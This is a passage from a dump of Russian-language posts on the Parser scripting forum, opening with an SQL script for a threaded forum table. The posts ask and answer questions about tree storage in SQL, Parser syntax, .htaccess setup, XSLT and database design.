			ON CHILD.hierarchy LIKE INS.hierarchy + '%'\
			LEFT OUTER JOIN forum_forumdata AS PARENT\
			ON INS.pid = PARENT.cid\
		END\
GO\
\
\
TRUNCATE TABLE dbo.forum_forumdata\
GO\
\
IF (IDENT_SEED('dbo.forum_forumdata') IS NOT NULL ) \
SET IDENTITY_INSERT dbo.forum_forumdata ON\
\
SET NOCOUNT ON\
\
-- Все добавляемые в дерево реплики будут детьми этой \
-- корневой реплики с номером 0 и pid = NULL\
INSERT INTO forum_forumdata (cid, pid, subject, postdate, author, cookie, ipaddr, \
email, message, subscribe) VALUES(0, NULL, 'Root item', '', '', '', '', '', '', '')\
GO\
\
-- И ещё немного записей для примера:\
\
IF (IDENT_SEED('dbo.forum_forumdata') IS NOT NULL ) \
SET IDENTITY_INSERT dbo.forum_forumdata ON\
\
INSERT INTO forum_forumdata (cid, pid, subject, postdate, author, cookie, ipaddr, \
email, message, subscribe) VALUES(1, 0, 'Содержимое этого сервера', '23-07-1999 16:52:55', \
'Webmaster', '', '', 'webmaster@gfk.ru', ' Интересует ваше мнение о содержимом. ', 'no')  \
\
INSERT INTO forum_forumdata (cid, pid, subject, postdate, author, cookie, ipaddr, \
email, message, subscribe) VALUES(4, 0, 'Метки для 5-и значной шкалы', '01-07-1999 09:42:46', \
'Давид', '', '', '', ' Я часто приобретаю исследования от различных компаний и я все время \
спорю с ними относительно того, должна ли 5-и значная шкала Лайкерат иметь текстовые метки. \
Я привожу аргумент, что если шкала не имеет меток, то респонденты отвечают в соответствии с \
их собственным индивидуальным восприятием того, что такое 4 или 5. Мне интересны ваши комментари \
по данному вопросу. ', 'no')  \
\
INSERT INTO forum_forumdata (cid, pid, subject, postdate, author, cookie, ipaddr, email, \
message, subscribe) VALUES(5, 4, 'Re: Метки для 5-и значной шкалы', '01-07-1999 09:45:59', \
'Жора', '', '', '', ' Это очень уместный вопрос, который конечно же необходимо обсудить. \
Один из аспектов затрагивает проблему того, необходимо ли привязывать среднюю точку к тексту \
типа ''ни согласен ни не согласен'' или ''равнодушен''. Альтернатива заключается в использовании \
непрерывной шкалы, где ''1'' ассоциируется с наименьшим значением, а ''5'' -- с наивысшим. \
В этом случае ''3'' не ассоциируется с ''равнодушием'', и наоборот. Тут же возникают проблемы \
сравнения средних значений для разных шкал, а также относительное достоинство указываемых баллов \
в вечных вопросах ''how high is up?'' которые позникают в опросах, посвященных удовлетворенности \
пользователей, и т.д. Если вы используете статистики для анализа шкалированных данных, помните, \
что статистические инструменты как правило предполагают, что данные взяты из непрерывных, \
бесконечных и нормально распределенных переменных. ', 'no')  \
GO\
\
SET NOCOUNT OFF\
\
IF (IDENT_SEED('dbo.forum_forumdata') IS NOT NULL )	SET IDENTITY_INSERT dbo.forum_forumdata OFF\
GO[/code]"
"36277","ПостСкриптум:\
И к тому же работает. Без изменений. :)\
А как у него не работает я не знаю. :( Видать с изменениями :))))"
"36278","http://www.parser.ru/forum/?id=17386\
\
P.S. Если есть доступ - то поищи, если нет - спроси у администратора."
"36279","а вот при нажатии F5 действительно что-то непонятное происходит."
"36280","вовсе не зазорно.\
Ильясу просто нужно было намекнуть, что готовые сайты отправляются в раздел \"в действии\" при соответствующем сопроводительном письме."
"36281","- я правильно понимаю, что для того, чтобы заданный тред нужно делать что-то типа:\
where hierachy like '0.1%'\
\
- для чего в hierachy повторять id текущего объекта? в смысле где это может пригодиться?"
"36282","Так что начну во все глаза, и с трясуном в коленках подбираться к SOAP. Во всяком случае возможно и сложнее, зато более гибко. + поддержка от W3C тоже обнадеживает."
"36283","как-то в форуме уже [url=\"http://www.parser.ru/forum/?id=5162\"]проходила ссылка[/url], однако на данный момент она нерабочая, пожалуй автор статьи не обидится если я её сюда продублирую. Вобщем, там почти всё так-же, только поле hierarhy вычисляется несколько иным способом.\
\
\
[b]Как вывести тред форума из реляционнной БД одним запросом, не используя рекурсивный алгоритм?[/b] \
\
У сообщения должно быть четыре ида и X. Один - идентификатор форума, второй - идентификатор треда, третий - идентификатор письма, четвертый - на что отвечаем. X определяет положение в треде и идом не является. \
\
С идентификатором форума все понятно (не будем же мы заводить по базе на форум). Теперь делаем две процедуры: \
\
1. Написание письма. Идентификатор треда - новый, X - ноль, на что отвечаем - ноль. \
\
2. Написание ответа на письмо. Идентификатор треда - такой же, как и у оригинала, идентификатор оригинала - в на что отвечаем, X делаем так:\
X1=X оригинала.\
X2=максимальный лонг / 2.\
\
\
Ежели оригинал последний в треде, то так и оставляем, иначе:\
Теперь смотрим, какой X у следующего письма в этом треде, если его отсортировать по X. Это X2.\
Если между X1 и X2 разница в 2 или больше, то новый X = (X1+X2)/2.\
Готово. \
\
Иначе перенумеруем тред: \
Проверяем, а не достигло ли количество писем предела в максимальный лонг / 2? Нет? Хорошо. :)\
Делаем шаг = (MAXLONG/2)/(количество писем в треде) и с таким шагом даем письмам новые X, начиная с нуля. Как раз на все должно хватить. :) После окончания процесса - го ту снова добавлять. \
\
Усе! Теперь можно выводить свое дерево одним запросом, без рекурсии."
"36284","А где можно добраться до этой библиотеки MSDN?\
\
И еще чуть-чуть:\
1. Есть где-нибудь в сети еще документация по Parser или какие-ниудь ресурсы по нему, кроме www.parser.ru? Чтобы примеров по-больше было, и описаний и пр.\
2. Где-нибудь можно достать нормальную литературу по XML и XSL кроме переводов их спецификаций на русский язык. Имею ввиду в электронном виде.\
\
Просто я живу далеко от большого города, где можно найти любую литературу. У нас здесь ничего хорошего не продается."
"36285","[quot]- я правильно понимаю, что для того, чтобы заданный тред нужно делать что-то типа:  where hierachy like '0.1%'[/quot]Нет, я специально храню в отдельном столбце thread id, общий для всего треда, чтобы не делать такого like. Этот столбец индексирован для ускорения выборок.[quot]для чего в hierachy повторять id текущего объекта? в смысле где это может пригодиться?[/quot]согласен, излишне, но мне влом усложнять код триггера. Пусть у меня будет десяток лишних байт на запись, зато код проще."
"36286","Внизу страницы написано \"Copyright © 1997–[b]2004[/b]\". Это ошибка?"
"36287","Я оставлял на этом форуме ссылку на книгу Joe Celko \"Trees and hierarchies in SQL\" - http://www.parser.ru/forum/?id=34940 - там этот подход описан под названием nested sets model.\
\
Nested sets, видимо, любимый подход у Celko, и это видно из его писем в ньюсгруппах, но и он признаёт, что подход хорош для статичных деревьев с минимальными изменениями. [quot]Проверяем, а не достигло ли количество писем предела в максимальный лонг / 2? Нет? [/quot]Ага, достигло, да на реплике в середине форума в сто тыщ реплик - и бедная БД, скрипя, апдейтит 50 тысяч строк. Собтвенно, поэтому этот подход так активно дорабатывают, чтобы избегать перенумерации (используя дроби, например). Цена всего этого - замедление выборок.\
\
Если тема интересна, рекомендую погуглить по словам Farey fractions, \"Joe Celko\", \"Vadim Tropashko\", \"Nested intervals\", \"Materialized path\", \"Nested intervals tree encoding with continued fractions\". Самое последнее развитие подхода с nested intervals описано здесь - http://arxiv.org/abs/cs.DB/0402051 - но лично у меня не хватило пороху его воплотить (хотя метод красив). Там же краткий обзор других подходов и их недостатков."
"36288","http://msdn.microsoft.com/library/default.asp\
\
Смотреть надо \
[i]Win32 and Com Development/XML/MSXML/MSXML 4.0 SDK/XML Standards Reference[/i]\
\
могу прислать вырезку chm, касающуюся XML. (около 3 Mb)\
\
По парсеру больше ничего, вроде, нет. Нормальной литературы на русском тоже не встречал. Все своим умом.. )"
"36289","Подскажите, где можно скачать готовые скрипты PARSER?\
Я нашел один скрипт, и то чата, в инете и все.\
Может Я не там ищу? :-("
"36290","[quot]Нет, я специально храню в отдельном столбце thread id\"[/quot]\
\
т.е. в таком случае получается, что hierachy нужно только для сортировки, и tid совсем не избыточен? причем сортировки, предопределенной создателем форума, и никаких \"последнее сообщение вверх/вниз\". может тогда стоит попробовать избавиться и от hierachy? мне кажется для сортировки это очень жирно..."
"36292","Уже давно мучаюсь. Предположим, что есть интересный тред, сам ничего сказать как-бы не могу, а чужое мнение интересно. Мишь, может сделаешь слежение за [b]тредом[/b]? Спасибо."
"36294","А где ты чат надыбал??????"
"36295","1. Когда происходит удаление устаревших ассоциациЙ в hashfile? В момент обращения к файлу или самой ассоциации?\
2. Почему переменные окружения не представлены в виде хэша? Prinenv  не сделаешь, надо явно задавать названия переменных."
"36296","удаление устаревших элементов в хешфайле происходит в момент обращения к ним.\
\
т.е. чтобы очистить хешфайл от устаревшего барахла можно асинхронно запускать делающий это скрипт (cron) или сделать например так:\
[code]\
^if(^math:random(100) < 5){\
    ^hashfile.foreach[k;]{}\
}\
[/code]\
\
после удаления устаревших элементов размер файла не уменьшится, но освобожденное место может быть использовано для хранения вновь добавленных записей."
"36298","Честно говоря, так было на форуме в примере. Кажется это было вынужденное решение. НУ и я не приминул воспользоваться."
"36299","Нужно реализовать отслеживание статуса пользователей (онлайн=1 оффлайн=0)\
\
Делю так: при заходе в форум значение status в БД меняется на 1, а как сделать так, чтобы при уходе оно поменялось на 0 ???!!!\
\
Хотябы дайте намек как это сделать..."
"36300","Если можно, пришлите CHM на mail@noff-dies.com\
Премного благодарен"
"36301","Ну если принимать во внимание, что #0A - это перевод строки, то долден быть один.\
Может поэтому у вас пропадает перевод?"
"36302","Опросить через определённый промежуток времени.\
Добавьте проверку в часто исполяемое место кода и пусть она выполняется время от времени (по рэндому)."
"36303","CHM весом под 2 гигабайта?!"
"36305","По моему Миша об этом уже писал как-то...\
\
Суть дела:\
При каждом обращении ты создаешь или продлеваешь [url=\"http://www.parser.ru/examples/auth/\"]сессию[/url]. А чтобы вывести, кто из пользователей в данный момент со статусом on-line нужно пробежаться по базе сессиям и посмотреть не прошло ли 15 минут (время жизни 1 сессии) с момента последнего обращения пользователя. Если прошло, значит пользователь ушел.\
\
Вроде ничего не напутал."
"36306","Вот тут такой вопрос образовался:\
\"Как создать поле в которм будут отображаться случаные каритнки, а так же и текст?\"\
вот..."
"36307","Да нет. Разговор был про\
[quot]могу прислать вырезку chm, касающуюся XML. (около 3 Mb)[/quot]"
"36308","Есть еще вот что:\
http://www.spearance.ru/parser3/\
http://egoroff.spb.ru/\
\
Да и вообще есть этот форум, в котором очень много всего интересного, и что самое главное, полезного ;)"
"36309","Кстати, про юзабилити можно почитать на Webmascon-е: http://webmascon.com/archive/topic.asp?id=7"
"36311","Внутри страницы нужно поставить ссылку на саму себя."
"36312","...известное заклинание \"Пожалуйста,пользуйтесь поиском по форуму\", врядли его что-нить спасет.\
\
например [url=\"http://www.parser.ru/forum/?id=29135\"]http://www.parser.ru/forum/?id=29135[/url]"
"36313","http://www.parser.ru/docs/lang/requesturi.htm"
"36314","[b]2.[/b] [url=\"http://www.citforum.ru/\"]CITForum[/url]"
"36315","Отношение к парсеру?... он написан на парсере... Да и \"в действии\" его добавлять не обязательно, просто хотелось, чтобы опытные люди посмотрели и оценили (как в университете, оценку поставили)."
"36316","Да. Цитфорум  - это хорошо. Но про парсер там ничего нет. Или я плохо искал?"
"36317","Имеется форматированный текст, строки которого разделены символом возврат каретки. Этот текст лежит в определенной ячейке некоторой таблицы базы данных MySQL. \
\
Как вывести этот текст не сплошным куском, а списком, чтобы появилась возможность нумерации и использования маркеров?"
"36320","Можно так:\
[code]\
$list[^file:list[/;\\.zip^$]]\
^list.menu{\
   $list.name<br>\
}\
[/code]\
\
Выведет имена всех архивных файлов с расширением имени .zip, находящихся в корневом каталоге веб-сервера\
\
А вообще читейте доку...\
[url=\"http://www.parser.ru/docs/lang/filelist.htm\"]Сюда...[/url]"
"36321","Я нахожусь на одном сайте, а папка с файлами на другом сайте, пробовал также (где адрес – полный к др. сайту) но почему-то нет реакции.."
"36323","Либо храните непосредственно в виде html, либо режьте и форматируйте регулярными выражениями как душа пожелает."
"36324","[code]\
@refresh[delay;url]\
$response:refresh[ \
   $.value[$delay] \
   $.url[^taint[uri][$url]]\
] \
[/code]\
\
Вызов ^refresh[5;/somefile.html] работает под IE но не работает под firefox'ом. Есть мысли, почему?"
"36325","Локальная копия работает.\
Закачал на сервер — не работает.\
\
auto.p не обрабатывается, т.е. виден код только HTML-файла.\
\
хостинг на Host-ing.ru\
\
.htaccess закачиваю — ошибка 500.\
внутри - copyright - скопировано правильно.\
\
что делать.. причин никаких не вижу.\
\
.htaccess: AddHandler not allowed here\
— что делать? назначать же как-то надо?\
непонимаю..."
"36327","[code]\
$string[^string:sql{ ...выбираем поле... }]\
$table[^table::create[nameless]{$string}]\
<ul>\
^table.menu{<li>$table.0</li>}\
</ul>\
[/code]\
не уверен что будет работать, не проверял"
"36328","Объясните мне плз.. можно ли использовать базу MS Access под Apache на Unix ?? Есть ли какие-то Odbc драйвера? можно ли использовать Parser?"
"36329","Какой сервер баз данных используется на [url=\"http://mp3.samsung.ru/\"]mp3.samsung.ru[/url]?\
Простите за оффтоп.\
\
P.S. Михаил, наверное, этот вопрос вам :)"
"36331","Вот фрагмент шаблона:\
[code]\
<xsl:template match=\"node\">\
  <div>Теги идут подряд один за другим и разделены пробелом: <b>жирный</b> <i>наклонный</i></div>\
</xsl:template>\
[/code]\
В результате применения такого шаблона пробел (либо символ новой строки) между <b/> и <i/> стирается и слова в тексте сливаются: [b]жирный[/b][i]наклонный[/i]. Подскажите, как можно обойти эту проблему? Неужели это ошибка xslt-процессора, ведь при оптимизации кода должен оставаться хотя бы один разделитель?"
"36332","Хотя бы в общих чертах..."
"36333","keywords: xsl:strip-space, xsl:preserve-space, xsl:text, \"удаление узлов, состоящих только из пробельных символов\"."
"36334","Воспринимает ваш код логически, тоесть <b/> и <i/> для него тоже самое что и <my_tag/> - для него это узлы.\
\
Как с этим справиться смотрите в другом сообщении:)"
"36335","[code]@refresh[delay;url]\
$response:refresh[ \
   $.value[$delay] \
   $.url[^taint[as-is][$url]]\
][/code]\
\
Работает?"
"36336","Смотреть доку на предмет: Perl-совместимых регулярных выражений, метода match и купить книжку по регулярным выражениям.\
Ну, и поиск, конечно."
"36337","Урок 2..Столкнулся с проблемой,по-видимому проблемой уже наболевшей..Хотелось бы разобраться..\
Урок первый все понятно быстро и легко разобрался,а со вторым вот такя вот шняга..см. ниже..\
auto.p - все как в документации..\
не понятно зачем @main[]??\
если нигде не используется  (^main[])???\
дальше..\
@greeting[] куда вставлять ?? В auto.p или в index ??\
\"А для получения уникального заголовка страниц ,В КАЖДОЙ ИЗ НИХ определим функцию greeting\"-  Каких страниц ведь всего одна???\
Ответье пожалуйста..Все ночь сидел..Хоче программить на парсере и все тут.."
"36338",">не понятно зачем @main[]??\
>если нигде не используется (^main[])???\
\
Метод @main[] вызывается автоматически ( см. http://www.parser.ru/docs/lang/mainclass.htm )\
\
>@greeting[] куда вставлять? В auto.p или в index?\
Сам процитировал куда:)\
\
P.S. Ведь всё есть в доке"
"36339","Может скинете суда (или на мыло) скрипт который берет это все из базы, а также опишите саму базу, ибо я в БД ничего не понимаю."
"36340","... xsl:preserve-space можно указать только для элементов исходного дерева, а если у меня в самом шаблоне такая конструкция (см.прмер первого поста)?"
"36341","положил куда советовали — не р а б о т а е т ...\
\
может и выглядит глупо. я и сам себя полным идиотом чувствую"
"36342","[code]# Подключение Parser-а для всех .html-страниц AddHandler parsed-html html \
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
\
# Запрет на доступ к .p-файлам. Основной: auto.p \
<Files ~ \"\\.p$\"> \
  Order allow,deny \
  Deny from all \
</Files> \
[/code]"
"36344","там в частности сказано как проверить, обрабатывается-ли htaccess или нет.\
\
P.S. уверен, что parser3_wrapper.exe на вашем *nix хостинге не работает в принципе"
"36345","[qoute]# Подключение Parser-а для всех .html-страниц AddHandler parsed-html html \
Action parsed-html /cgi-glob/parser3/parser3_wrapper.exe\
[/quote]\
\
Это строка из .htaccess'a Денвера. Что-то мне подсказывает, что на сервере у хостера будет нечто вроде\
Action parsed-html /cgi-bin/parser3.cgi\
\
З.Ы. _Внимательно_ читайте раздел установка"
"36348","Если вы в БД ничего не понимаете, тогда вам помочь нечем."
"36351","все равно не понятно!"
"36352","За вас [b]элементарный[/b] код никто писать не будет.\
Учитесь думать сами.\
Информации - предостаточно."
"36353","ибо \"грязный\" возврат каретки из базы как разделитель строк в таблице не катит."
"36354","Тогда может наставите меня на путь истинный?\
\
Проэктирую незамысловатую базу mp3-файлов, подойдёт ли вариант-аналог, того, что [url=\"http://www.parser.ru/forum/?id=35789\"]советовал egr[/url] и [url=\"http://www.parser.ru/forum/?id=29270\"]сделал nkostya[/url], то есть\
\
Создать 5 таблиц:\
  artist - информация о фильмах\
  album - информация о альбоме\
  song - информация о песне, путь к файлу\
  artist_album - какие альбомы относятся к артисту\
  album_song - какие песни относятся к альбому\
\
Подойдет ли это для моего случая?\
\
P.S. ну и не удержался спросить а как это сделано на [url=\"http://mp3.samsung.ru\"]mp3.samsung.ru[/url], хотя если не хотите -- не отвечайте, тем более, что там база, как я понимаю, спроектирована так же как на [url=\"http://www.allofmp3.com\"]allofmp3[/url]"
"36355","Вот код отображения календаря:\
Поясните пожалуйста его (где я пометил):\
[code]\
#################_отображение_календаря_####################################\
@printCalendar[calendar][now;curr_year;curr_month;y_hash;ym_hash;i;m] ^rem{ ***тут не понятно*** }\
^if($calendar){ ^rem{ ***тут_проверяем_есть_ли колендарь,_тогда*** }\
	$now[^date::now[]] ^rem{ ***вводим_переменную_с текущей датой*** }\
	$curr_year(^form:year.int(^dtf:format[%Y])) ^rem{ ***тут не понятно*** }\
	$curr_month(^form:month.int(^dtf:format[%m])) ^rem{ ***тут не понятно*** }\
	$y_hash[^calendar.hash[year;year][$distinct(1)]] ^rem{ ***тут не понятно*** }\
	$ym_hash[^calendar.hash{^calendar.year.format[%04d]=^calendar.month.format[%02d]}[month] [$.distinct(1)]] ^rem{ ***тут не понятно*** }\
	$year[^y_hash._key[]] ^rem{ ***тут не понятно(только как я понял тут мы выбираем все значения из хэша, так?)*** }\
	^year.sort($year.key)[desc] ^rem{ ***тут не понятно*** }\
	\
	<table border=\"1\" align=\"right\"> ^rem{ ***делаем_таблицу*** }\
	<tr valign=\"top\">\
		<td>\
			^year.menu{ ^rem{ ***перебираем переменную $year*** }\
			<b>^if($year.key==$curr_year){ ^rem{ ***далее ничего не понимаю, но если объясните значения переменных - пойму!*** }\
				$year.key /&nbsp^;\
			}{			^rem{ *** если кликнем в год, по попадем на последний месяц года, \
						за который у нас есть новости *** }\
				^if(^calendar.locate[year;$year.key]){}\
				<a href=\"?year=?year.key&month=$calendar.month\">$year.key</a> ^rem{ ***не понимаю эту ссылку, как?, что?*** }\
			}\
			</b><br />\
			}\
		</td>\
		<td>\
		^if(^year.locate[key;$curr_year]){}\
		^for[i](0;11){\
			$m(12-$i)\
			^if(def $form:month && $m==$curr_month){\
				<b>$dtf:[ri-locate].month.$m</b><br />\
			}{\
				^if(!($now.year==$curr_year && $m>$now.month)){\
					^if($ym_hash.[^curr_year.format[%04d]=^m.format[%02d]]){\
					<a href=\"?year=$curr_year&month=$m\">$dtf:[ri-locate].month.$m</a>\
					}{\
					$dtf:[ri-locate].month.$m\
					}\
					<br />\
				}\
			}\
		}\
		\
		</td>\
		</tr>\
	</table>\
}\
\
[/code]"
"36357","[code]\
@printCalendar[calendar][now;curr_year;curr_month;y_hash;ym_hash;i;m] ^rem{ ***тут не понятно*** }\
[/code]\
\
http://www.parser.ru/docs/lang/definemethod.htm\
\
---------------------------------------------------\
[code]\
$curr_year(^form:year.int(^dtf:format[%Y])) ^rem{ ***тут не понятно*** }\
$curr_month(^form:month.int(^dtf:format[%m])) ^rem{ ***тут не понятно*** }\
[/code]\
\
http://www.parser.ru/docs/lang/formfield.htm\
http://www.parser.ru/docs/lang/intdoublefield.htm\
\
P.S. Используеться метод ^format[] из Мишиного класса dtf.p (см. http://www.parser.ru/examples/date/)\
\
---------------------------------------------------\
[code]\
$y_hash[^calendar.hash[year;year][$distinct(1)]] ^rem{ ***тут не понятно*** }\
$ym_hash[^calendar.hash{^calendar.year.format[%04d]=^calendar.month.format[%02d]}[month] [$.distinct(1)]] ^rem{ ***тут не понятно*** }\
[/code]\
http://www.parser.ru/docs/lang/table2hash.htm\
http://www.parser.ru/docs/lang/intdoubleformat.htm\
\
---------------------------------------------------\
[code]\
$year[^y_hash._key[]] ^rem{ ***тут не понятно(только как я понял тут мы выбираем все значения из хэша, так?)*** }\
[/code]\
http://www.parser.ru/docs/lang/hash_keys.htm\
\
Тут опечатка (Ваша) - должно быть:\
[code]$year[^y_hash._keys[]][/code]\
\
---------------------------------------------------\
[code]\
^year.sort($year.key)[desc] ^rem{ ***тут не понятно*** }\
[/code]\
http://www.parser.ru/docs/lang/tablesort.htm\
\
---------------------------------------------------\
[code]\
^if($year.key==$curr_year){ ^rem{ ***далее ничего не понимаю, но если объясните значения переменных - пойму!*** }\
[/code]\
Прочитав вышеописаные страницы документации - поймете.\
\
---------------------------------------------------\
[code]\
<a href=\"?year=?year.key&month=$calendar.month\">$year.key</a> ^rem{ ***не понимаю эту ссылку, как?, что?*** }\
[/code]\
Тут опечатка (Ваша) - должно быть:\
[code]<a href=\"?year=$year.key&month=$calendar.month\">$year.key</a>[/code]\
\
\
P.S. А теперь ответьте: [b]что из \"непонятного\" отсутствует в документации?[/b]"
"36358","Да. многое стало понятно, но некоторое я все же не понял! В документации не нашел! А именно:\
[code]\
#1. в строке:\
	$curr_year(^form:year.int(^dtf:format[%Y]))\
	мне не понятно, откуда взялось поле ^form:year, ведь у нас нет никакой формы! А таким способом, как я понял вызывается значение формы.\
	аналогично в следующей строке.\
#2. в строке:\
	$y_hash[^calendar.hash[year;year][$.distinct(1)]]\
	создается переменная с хэшем, который содержится таблица CALENDAR? Так? Но откуда взялась эта таблица, мы ведь ее не создавали? И почему ключ содержит year;year (т.е. 2 значения) и откуда эти значения взялись?\
	аналогично в следующей строке.\
#3. в строке:\
	^year.sort($year.key)[desc]\
	все понял кроме откуда взялась $year.key? Сама переменная $year понятно, мы его определили, а вот .key не понимаю.\
#4. В остальном, наверное сам разберусь.\
\
\
[/code]"
"36359","1. Формы то нет, зато есть /news/?year=2005&month=1 - думаю понятно.\
\
2. Таблица calendar передается методу как параметр\
\
3. .key - это поле таблицы\
\
P.S. Мне лень сейчас вам давать ссылки на доку - но поверьте все это там есть, а НЕ нашли вы только потому, что видимо плохо искали..."
"36360","не могли бы вы поподробней описать конструкции такого типа? А то я ни как не врублюсь!"
"36361","$form:year вернет 2005\
Что вернет $form:month ?"
"36362","То что то вернет то я понял! Но как и что вообще? Откуда эти ссылки, куда они ведут? Ничего не нашел в дукументации!"
"36363","В опере и эксплорере нормально редиректится, а вот в firefox'е - нет. Такое ощущение, что он вообще игнорирует заголовок Refresh. \
В чем еще может быть причина?"
"36364","Помимо документации по парсеру надо использовать поиск по форуму, чтобы меньше вопросов задавать;)"
"36365","рекомендую далее не отвечать на этот тред."
"36367","Особо обратите внимание на спецификацию HTML"
"36250","...ибо меня пожурили за то, что не сделал этого раньше :)\
\
+ устал писать ^csql.sql[table]{запрос} когда можно ^csql.table{запрос} поэтому в класс sql были добавлены методы/алиасы: table, hash, string, int, double и void :)\
\
+ добавлен метод clear для принудительной очистки файла, т.к. писать конструкции вида ^sql[table][;][$.clear(1)$.file[путь]] не сказать чтобы красиво :)\
\
+ добавлена возможность задать конструктору путь к директории, относительно которой будут указываться пути к файлам с кешом (если этот путь не задан, то как и было: относительно DOCUMENT_ROOT)\
"
"36368","http://www.ugbugan.ru/misc/telef/ \
\
Папязя Гундобиван, ugbugan, кубачи, епрст. фига се..."
"36370","страноо.. я узнал о парсере вчера.. но ни с одним примером проблем не возникло, главное внимательность в чтении и написании."
"36371","вот полезная ссылка для вас: http://v90.kiev.ua/faq/smart-questions-ru.html\
\
если вы будете продолжать задавать вопросы так, как вы задавали их до этого я буду их просто удалять.\
\
тут вам никто ничего не должен. z"
"36372","Понял что то неправильно...\
\
Другие варианты:\
\
1. Создать 3 таблицы:\
artist - информация о исполнителе (id, name)\
album - информация о альбоме (id, name)\
song - (id, artist_id, album_id, name, path)\
\
2. Создать 4 таблицы:\
artist - (id, name)\
album - (id, name)\
artist_album_song (artist_id, album_id, song_id)\
song (id, name, path)\
\
Как лучше? И вообще пойдет ли так?"
"36374","частичный клон мантиса. на парсере (писался для себя, поэтому перманентно недоделан :) ):\
\
http://bt.creator.pp.ru/\
\
демка в read-only (т.е. сабмитить изменения не стоит, будет ошибка)\
\
исходники: http://home.bcsoft.org/temp/bt.zip\
\
если кто-нибудь из специалистов посмотрит их и прокомментирует на предмет соответсвия common/best practices программирования на парсере - я буду счастлив :)\
\
P.S. Было бы неплохо если бы кто-нибудь поделился исходниками форума на парсере, аналогичного phpbb (т.е. с топиками, а не деревьями)"
"36375","http://tomash.theatre.ru/parser3/\
\
Собрал полностью статически, приложил к архиву забытый в прошлый раз auto.p\
Строка подключения к MySQL дана в двух вариантах - через IP и через Socket, пароли дефолтные для устрановки из бинарного .pkg"
"36376","А что там сложного в переделке древовидного?\
Форум вида phpbb (имею ввиду именно отображение, а не функциональность) делается в 2 действия из древовидного:\
1. На \"морде\" вывод только корней тредов (всего 1 запрос, где parent == 0)\
2. Внутри треда вывод всех сообщений с thread == текущему (1 запрос, сортировка по времени по возрастанию)"
"36377","Как создавать - понятно.\
[code]\
$hash[\
     $.key_level_0[$.key_level_1[value]]\
]\
[/code]\
\
как читать - тоже понятно:\
[code]$hash.key_level_0.key_level_1[/code]\
\
А вот как [b]добавить[/b] ключей к хешу второго уровня - вопрос."
"36378","[code]^hash.key_level_0.add[$.new_key[value]][/code]"
"36380","$little_negros лучше жаменить на чтонибудь более нейтральное.\
Англикосов и америкосов это может наталкнуть на мысль он нацизме или рассовой нетерпимости ... принято говорить о цвете кожи"
"36381","А я сегодня наконец под линь пустил (RH AS 3.0) и мне надо было как раз нооборот динамически компоновать libstdc++ :)"
"36382","Единственное, что там в динамике - /usr/lib/libSystem.B.dylib - но оно стандартное, система без него не работает и главное - отсутствует в статическом варианте. А собирать оное статически (даже если возможно) - выше моего понимания ;-)"
"36383","Запускаю PHP таким образом:\
\
$script[^file::cgi[/../../../usr/local/php/php.exe;$.PATH_TRANSLATED[$request:document-root/temp.php]]]\
\
Все замечательно. Но до тех пор, пока при этом не будут пересылаться данные методом POST.\
\
То есть, при посылке данных методом POST php.exe подвисает вместе с парсером. В чем дело?\
\
У меня parser 3.1.4"
"36384","$list[^file:list[/;\\.zip^$]]\
^list.menu{\
   $list.name<br>\
}\
\
...из примера ...в таблице содержится список зип-архивов...\
а можно ли создать список директорий ...и какое регулярное выражение должно быть фильтром в этом случае"
"36385","вы посмотрите в документации про [url=\"/docs/lang/opsfd.htm\"]операторы -f и -d[/url]"
"36386","В ^file:list ведь в качестве фильтра использыется регулярное выражение, -d вместо него не прокатит"
"36389","Понятно. Спасибо!\
Но дело в том что настроить Парсер для меня некому, вот и приходится самому выворачиваться.\
Подскажите пожалуйста, как мне [b]самому это сделать[/b] учитывая мои скромные знания в веб-программировании!? Где взять этот конфигурационный файл и как внести в нем все необходимые правки.\
\
p.s Ну а с [url=\"http://www.llo.ru/cgi-bin/parser3.cgi\"]этим (Parser3.cgi)[/url] то все в порядке? или нет?"
"36390","У меня приблизительно таже проблема, дружище!\
[url=\"http://www.parser.ru/forum/?id=36106\"]Вот![/url].\
\
Возможно parser3.cgi не обозначен на сервере как [b]исполняемый сценарий[/b]..это делается с настройках свойств файла.\
Так же причина  может быть в запрете на обработку файла .htaccess\
Нужно чтобы админ разрешил его обработку."
"36391","Мой хеш произвольной структуры (ни ключенй, ни хешей втрого уровня я не знаю), но 2 уровня максимум. \
Как его перебрать? \
я пробовал примерно\
[code]\
^multi_level_hash.foreach[key;value]{\
	^if($key is hash){\
#		перебор хеша второго уровня\
	}{\
#		доступны $key $value первого уровня\
	}\
}\
[/code]\
Не получилось (потому сюда и пишу ;-)..."
"36392","все очень просто работает"
"36393","Referer: http://www.asha-city.ru/forum/?tred=519\
\
URL: http://asha-city.ru/chat/chat.zip\
Size: 4063"
"36395","А прочитать про Parser кроме как здесь и http://www.egoroff.spb.ru/ как бы и нет."
"36397","Все просто.\
на host-ing.ru при назначении Парсера обработчиком в .htaccess нужно проставить путь для Unix-a. Оказывается, не одно и тоже /cgi-glob/parser3/parser3 u \
/cgi-glob/parser3/parser3_wrapper.exe\
хотя даже там сказали, что они одинаковы.\
\
Спасибо всем."
"36398","Не нашёл на странице ссылок на 3.1.4.\
Он лежит под ссылкой на 3.1.3?"
"36399","на Aletia парсер не желает работать. Linux там, ядро 2.4.26.\
\"официальный\" бинарник выдаёт ошибку \"version 'GLIBC_2.3' not found\".\
однако собрать парсер на хостинге в шелле не получается (нет стандартных хидеров типа stdlib.h)\
\
в морг?"
"36400","Сложного ничего. я уже сделал так, и даже свой вариант делал.\
просто к этому много мелочей добавляется типа поддержки нескольких форумов (или даже разделов), отображения последних сообщений для каждого форума, формы регистрации... вроде бы ничего сложного, но писать это всё по-любому нужно, времени займёт столько-же сколько я багтрекилку делал :)"
"36401","Обидно, господа и дамы, что такой язык, как Parser (ну, может и не язык, не знаю) там мало используется в сети. А если и используется, то кроме этого форума и официального справочника, больше ничего и нет.\
Это я так. К слову. Чую, эту тему скоро закроют."
"36402","Смотрите внимательно. В самом начале страницы."
"36403","Мне нужен был 3.1.3 полностью статически собраный да еще и без safe-mode.\
Полдня бились, ничего толком не вышло.\
В результате после обращения к провайдеру, они просто перенесли все на другой сервер, на котором такой проблемы не было."
"36405","с \"этим\" всё замечательно."
"36406","вопрос уже обсуждался."
"36407","может сервер устал перед новым годом, и сейчас, отдохнув, придёт в норму?"
"36408","Выдает эту ошибку:driver failed to initialize client library './lib/libmysqlclient.so', can't open the module\
./lib/libparser3mysql.so\
/home/site/vfrsteu.ru/html/www.nick/foto/index.html(4)\
 ниже код страницы:\
[code]\
@greeting[]\
Фотоальбом.\
@body_left[]\
^connect[$connect_string]{\
